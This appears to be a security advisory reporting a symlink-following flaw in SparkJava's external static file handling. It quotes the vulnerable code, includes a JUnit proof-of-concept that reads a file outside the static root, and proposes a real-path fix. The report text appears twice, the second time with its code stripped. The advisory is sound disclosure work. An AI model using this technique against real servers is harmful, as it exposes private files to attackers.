SparkJava External Static Files Symlink Escape Allows Local File Read Outside Static Root
Summary
SparkJava's external static file handler enforces its static-root boundary with a string-prefix check on the requested path, but it does not resolve the final real path before opening the file. If a symbolic link exists inside the configured external static directory and points to a file outside that directory, SparkJava follows the link and serves the target file.
This was confirmed locally against current master (2.9.4-SNAPSHOT, commit 1973e40). The same relevant implementation pattern is present in the latest released tag 2.9.3.
Product
- Project: SparkJava / Spark Framework
- Repository:
https://github.com/perwendel/spark
- Package:
com.sparkjava:spark-core
- Component: external static file handling
- Confirmed affected versions:
2.9.4-SNAPSHOT on current master, 2.9.3
- Vulnerability type: CWE-22 Path Traversal / Symlink Following / Arbitrary Local File Read
Impact
An attacker who can create or influence a symbolic link inside a directory served through staticFiles.externalLocation(...) can make SparkJava disclose arbitrary local files readable by the Java process. Typical exposure patterns include applications that serve user-controlled extracted archives, build artifacts, generated documentation, or upload directories as external static files.
This is not a claim that every SparkJava static deployment is remotely exploitable. Exploitation requires an attacker-controlled symlink or equivalent filesystem state under the configured external static root.
Source Evidence
ExternalResourceHandler canonicalizes the HTTP path and joins it with the configured external static root:
src/main/java/spark/resource/ExternalResourceHandler.java:66
src/main/java/spark/resource/ExternalResourceHandler.java:68
src/main/java/spark/resource/ExternalResourceHandler.java:70
path = UriPath.canonical(path);
final String addedPath = addPaths(baseResource, path);
ExternalResource resource = new ExternalResource(addedPath);
Before returning the resource, it invokes the directory traversal guard:
src/main/java/spark/resource/ExternalResourceHandler.java:81
src/main/java/spark/resource/ExternalResourceHandler.java:82
if (resource != null && resource.exists()) {
DirectoryTraversal.protectAgainstForExternal(resource.getPath(), baseResource);
return resource;
}
The guard only compares normalized strings and does not call toRealPath(), getCanonicalFile(), or reject symbolic links:
src/main/java/spark/staticfiles/DirectoryTraversal.java:18
src/main/java/spark/staticfiles/DirectoryTraversal.java:26
src/main/java/spark/staticfiles/DirectoryTraversal.java:30
src/main/java/spark/staticfiles/DirectoryTraversal.java:33
public static void protectAgainstForExternal(String path, String externalFolder) {
String unixLikeFolder = unixifyPath(externalFolder);
String nixLikePath = unixifyPath(path);
if (!isPathWithinFolder(nixLikePath, unixLikeFolder)) {
throw new DirectoryTraversalDetection("external");
}
}
private static String unixifyPath(String path) {
return Paths.get(path).toAbsolutePath().toString().replace("\\", "/");
}
private static boolean isPathWithinFolder(String path, String folder) {
String rlatsPath = removeLeadingAndTrailingSlashesFrom(path);
String rlatsFolder = removeLeadingAndTrailingSlashesFrom(folder);
return rlatsPath.startsWith(rlatsFolder);
}
ExternalResource then opens the file path with FileInputStream, which follows symbolic links on normal filesystems:
src/main/java/spark/resource/ExternalResource.java:39
src/main/java/spark/resource/ExternalResource.java:66
file = new File(StringUtils.cleanPath(path));
public InputStream getInputStream() throws IOException {
return new FileInputStream(file);
}
Local Reproduction
The following JUnit PoC was added locally:
C:\Users\Admin\Desktop\submit-p\_foreign_cve_repos\spark\src\test\java\spark\staticfiles\StaticFilesSymlinkEscapeTest.java
package spark.staticfiles;
import org.junit.Assume;
import org.junit.Test;
import spark.resource.AbstractFileResolvingResource;
import spark.resource.ExternalResourceHandler;
import java.nio.charset.StandardCharsets;
import java.nio.file.Files;
import java.nio.file.Path;
import static org.junit.Assert.assertNotNull;
import static org.junit.Assert.assertTrue;
public class StaticFilesSymlinkEscapeTest {
@Test
public void externalStaticFilesFollowSymlinkOutsideRoot() throws Exception {
Path root = Files.createTempDirectory("spark-static-root");
Path outside = Files.createTempDirectory("spark-static-outside");
Path secret = Files.write(outside.resolve("secret.txt"), "spark-symlink-escape".getBytes(StandardCharsets.UTF_8));
Path link = root.resolve("link.txt");
try {
Files.createSymbolicLink(link, secret);
} catch (UnsupportedOperationException | SecurityException e) {
Assume.assumeNoException(e);
}
TestExternalResourceHandler handler = new TestExternalResourceHandler(root.toString());
AbstractFileResolvingResource resource = handler.resolve("/link.txt");
assertNotNull(resource);
assertTrue(resource.isReadable());
assertTrue(new String(resource.getInputStream().readAllBytes(), StandardCharsets.UTF_8)
.contains("spark-symlink-escape"));
}
private static class TestExternalResourceHandler extends ExternalResourceHandler {
private TestExternalResourceHandler(String baseResource) {
super(baseResource);
}
private AbstractFileResolvingResource resolve(String path) throws Exception {
return getResource(path);
}
}
}
Run:
cd C:\Users\Admin\Desktop\submit-p\_foreign_cve_repos\spark
mvn -q "-Dtest=spark.staticfiles.StaticFilesSymlinkEscapeTest" "-Denforcer.skip=true" test
Observed result:
The test creates:
- an external static root directory;
- a separate outside directory containing
secret.txt;
- a symbolic link inside the static root named
link.txt pointing to secret.txt;
- a request-equivalent lookup of
/link.txt.
SparkJava returns a readable resource and the file contents contain spark-symlink-escape, proving that the static-root boundary is bypassed through the symlink.
Duplicate Check
Searches performed on 2026-06-17 did not identify an existing public issue, CVE, or GHSA for this specific SparkJava symlink-following escape:
Spark Java static files symlink path traversal CVE
sparkjava ExternalResourceHandler symlink traversal
sparkjava static files symlink arbitrary file read
site:github.com/perwendel/spark symlink static files traversal
Related but distinct prior issues:
- 2016 Full Disclosure report for classic
..\ static-file traversal in SparkJava.
CVE-2018-9159 / GHSA-76qr-mmh8-cp8f, which concerns unintended static-file reads via path traversal and file:/relative path representations before the 2.7.2 fix.
The current finding differs because normal dot-dot traversal is blocked, while symlink resolution remains outside the string-based boundary check in current code.
Recommended Fix
Resolve and validate the real path of both the configured static root and requested resource before serving:
Path root = Paths.get(baseResource).toRealPath();
Path candidate = Paths.get(resource.getPath()).toRealPath();
if (!candidate.startsWith(root)) {
throw new DirectoryTraversalDetection("external");
}
If following symlinks is not desired, reject Files.isSymbolicLink(...) for every path component or use a secure path-walk that validates each segment. Add regression tests where a symlink under the static root points to a readable file outside the root.
Notes
This report only covers staticFiles.externalLocation(...) style filesystem static serving. It does not claim a bypass of SparkJava's current ../, ..\, or file: traversal fixes.
SparkJava External Static Files Symlink Escape Allows Local File Read Outside Static Root
Summary
SparkJava's external static file handler enforces its static-root boundary with a string-prefix check on the requested path, but it does not resolve the final real path before opening the file. If a symbolic link exists inside the configured external static directory and points to a file outside that directory, SparkJava follows the link and serves the target file.
This was confirmed locally against current
master(2.9.4-SNAPSHOT, commit1973e40). The same relevant implementation pattern is present in the latest released tag2.9.3.Product
https://github.com/perwendel/sparkcom.sparkjava:spark-core2.9.4-SNAPSHOTon currentmaster,2.9.3Impact
An attacker who can create or influence a symbolic link inside a directory served through
staticFiles.externalLocation(...)can make SparkJava disclose arbitrary local files readable by the Java process. Typical exposure patterns include applications that serve user-controlled extracted archives, build artifacts, generated documentation, or upload directories as external static files.This is not a claim that every SparkJava static deployment is remotely exploitable. Exploitation requires an attacker-controlled symlink or equivalent filesystem state under the configured external static root.
Source Evidence
ExternalResourceHandlercanonicalizes the HTTP path and joins it with the configured external static root:src/main/java/spark/resource/ExternalResourceHandler.java:66src/main/java/spark/resource/ExternalResourceHandler.java:68src/main/java/spark/resource/ExternalResourceHandler.java:70Before returning the resource, it invokes the directory traversal guard:
src/main/java/spark/resource/ExternalResourceHandler.java:81src/main/java/spark/resource/ExternalResourceHandler.java:82The guard only compares normalized strings and does not call
toRealPath(),getCanonicalFile(), or reject symbolic links:src/main/java/spark/staticfiles/DirectoryTraversal.java:18src/main/java/spark/staticfiles/DirectoryTraversal.java:26src/main/java/spark/staticfiles/DirectoryTraversal.java:30src/main/java/spark/staticfiles/DirectoryTraversal.java:33ExternalResourcethen opens the file path withFileInputStream, which follows symbolic links on normal filesystems:src/main/java/spark/resource/ExternalResource.java:39src/main/java/spark/resource/ExternalResource.java:66Local Reproduction
The following JUnit PoC was added locally:
C:\Users\Admin\Desktop\submit-p\_foreign_cve_repos\spark\src\test\java\spark\staticfiles\StaticFilesSymlinkEscapeTest.javaRun:
Observed result:
The test creates:
secret.txt;link.txtpointing tosecret.txt;/link.txt.SparkJava returns a readable resource and the file contents contain
spark-symlink-escape, proving that the static-root boundary is bypassed through the symlink.Duplicate Check
Searches performed on 2026-06-17 did not identify an existing public issue, CVE, or GHSA for this specific SparkJava symlink-following escape:
Spark Java static files symlink path traversal CVEsparkjava ExternalResourceHandler symlink traversalsparkjava static files symlink arbitrary file readsite:github.com/perwendel/spark symlink static files traversalRelated but distinct prior issues:
..\static-file traversal in SparkJava.CVE-2018-9159/GHSA-76qr-mmh8-cp8f, which concerns unintended static-file reads via path traversal andfile:/relative path representations before the2.7.2fix.The current finding differs because normal dot-dot traversal is blocked, while symlink resolution remains outside the string-based boundary check in current code.
Recommended Fix
Resolve and validate the real path of both the configured static root and requested resource before serving:
If following symlinks is not desired, reject
Files.isSymbolicLink(...)for every path component or use a secure path-walk that validates each segment. Add regression tests where a symlink under the static root points to a readable file outside the root.Notes
This report only covers
staticFiles.externalLocation(...)style filesystem static serving. It does not claim a bypass of SparkJava's current../,..\, orfile:traversal fixes.